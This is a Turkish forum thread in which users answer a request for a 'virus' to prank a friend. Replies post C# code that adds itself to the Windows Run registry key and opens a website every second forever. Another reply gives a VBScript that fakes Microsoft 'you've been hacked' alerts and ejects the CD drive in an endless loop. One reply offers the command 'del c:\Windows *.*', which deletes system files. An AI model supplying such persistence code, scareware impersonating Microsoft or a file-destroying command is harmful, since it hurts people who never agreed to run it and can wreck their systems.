Arkadaşıma şaka yapmak için virüs nasıl yaparım?

AJudge dedi:

Galiba yanlış anlamadıysam bu virüs açıldığında sürekli rastgele klasörler oluşturup not defteri vs. açıyor. C# biliyorsanız bu virüsten iyisini bile yaparsınız diye düşünüyorum. Örneğin while komutu ile cmd'ye sürekli output verebilirsiniz. Tabi ben çok bilmiyorum bu sadece bir örnek.

Genişletmek için tıkla...

flashneuron dedi:

C#:Panoya kopyala

using System;
using System.Diagnostics;

private void Form1_Load(object sender, System.EventArgs e)
{ 
    RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); //Bilgisayar her açıldığında program çalışacak.
    key.SetValue(VirusAdi, "\"" + Application.ExecutablePath + "\"");

    while (true)
    {
    Process.Start("https://technopat.net/"); //1 saniyede 1 technopat.net açılacak.
    System.Threading.Thread.Sleep(1000);
    }
}

Sorumluluk kabul etmiyorum.

Genişletmek için tıkla...

detista dedi:

Kendin tasarlayacaksın. Önce bir dil seç. C/C++ ya da C# iş görür. Ardından eklemek istediğin efekti bul. Kendin yapmak zorunda değilsin. Matrix filminin meşhur yeşil yazıların aktığı efektini kullanabilirsin. Program içinde video nasıl oynatılır onu da araştırıp bulacaksın. Videoyu sonsuz loopa al. İsteğe bağlı olarak programı tam ekranda da çalıştırabilirsin. Çıkmak için bir kısayol da atyabilirsin. Ctrl + q gibi. Son olarak programını derleyip test edeceksin. Beğenirsen arkadaşına gönderebilirsin. Google, Microsoft Docs ve Stack Overflow yardımcın olsun.

Ayrıca bu bir virüs olmayacak. Sen sadece şaka programı yapmak istiyorsun. Virüs olunca şaka kakaya dönüşüyor.

Genişletmek için tıkla...

Earas dedi:

Yok hocam ya klasör açmalı değil. Ekrandaki görüntü falan bozulsun yeterli.


Sağolun hocam ama bilgisayar her açıldığında değil de exe'yi açtığında açılmasını istiyorum.

Genişletmek için tıkla...

x=msgbox("Bilgisayarınız Hacklendi" , , "Microsoft Secuırty")
x=msgbox("Selam ben Earas" , , "Microsoft Secuırty")
x=msgbox("Yani Bilgisayarını Hackleyen Kişi" , , "Microsoft Secuırty")
x=msgbox("Evet Ben Hacker'im" , , "Microsoft Secuırty")
x=msgbox("Hekır yani" , , "Microsoft Secuırty")
x=msgbox("Yalnız ben ciddiyim" , , "Microsoft Secuırty")
x=msgbox("Bu işi dalga sanmıyorsun değil mi?" , , "Microsoft Secuırty")
x=msgbox("Mesela şimdi CD sürücünü açsam inanır mısın?" , , "Microsoft Secuırty")
x=msgbox("Açayım mı?" , , "Microsoft Secuırty")
x=msgbox("Yapamaz mıyım?" , , "Microsoft Secuırty")
x=msgbox("Al o zaman" , , "Microsoft Secuırty")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

Msgbox "Bilgisayarınız yoğun saldırı altında !" , vbCritical , "Microsoft"
Msgbox "Bilgisayarın haklı yoğun saldırı altındasın" , vbCritical , "Microsoft"
Msgbox "Az önce CD sürücüyü kapattın değil mi?" , vbCritical , "Microsoft"
Msgbox "Ama şimdi kapatamayacaksın" , vbCritical , "Microsoft"
Msgbox "Bak tekrar açıyorum" , vbCritical , "Microsoft"

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

EkmekArasıRam dedi:

del c:\Windows *.* msg * Hacklendin kardeşim
Sorumluluk kabul etmiyorum. Bunu birinin yapması lazımdı.

Kod:Panoya kopyala

x=msgbox("Bilgisayarınız Hacklendi" , , "Microsoft Secuırty")
x=msgbox("Selam ben Earas" , , "Microsoft Secuırty")
x=msgbox("Yani Bilgisayarını Hackleyen Kişi" , , "Microsoft Secuırty")
x=msgbox("Evet Ben Hacker'im" , , "Microsoft Secuırty")
x=msgbox("Hekır yani" , , "Microsoft Secuırty")
x=msgbox("Yalnız ben ciddiyim" , , "Microsoft Secuırty")
x=msgbox("Bu işi dalga sanmıyorsun değil mi?" , , "Microsoft Secuırty")
x=msgbox("Mesela şimdi CD sürücünü açsam inanır mısın?" , , "Microsoft Secuırty")
x=msgbox("Açayım mı?" , , "Microsoft Secuırty")
x=msgbox("Yapamaz mıyım?" , , "Microsoft Secuırty")
x=msgbox("Al o zaman" , , "Microsoft Secuırty")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

Msgbox "Bilgisayarınız yoğun saldırı altında !" , vbCritical , "Microsoft"
Msgbox "Bilgisayarın haklı yoğun saldırı altındasın" , vbCritical , "Microsoft"
Msgbox "Az önce CD sürücüyü kapattın değil mi?" , vbCritical , "Microsoft"
Msgbox "Ama şimdi kapatamayacaksın" , vbCritical , "Microsoft"
Msgbox "Bak tekrar açıyorum" , vbCritical , "Microsoft"

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Ama bunu .vbs olarak kaydet adamın cd-rom u açılınca cidden şaşıracak. (Kapatmak için taskmgr den wscripti kapat.)

Genişletmek için tıkla...

Earas dedi:

Hocam neden sorumluluk kabul etmiyorum dediniz?

Genişletmek için tıkla...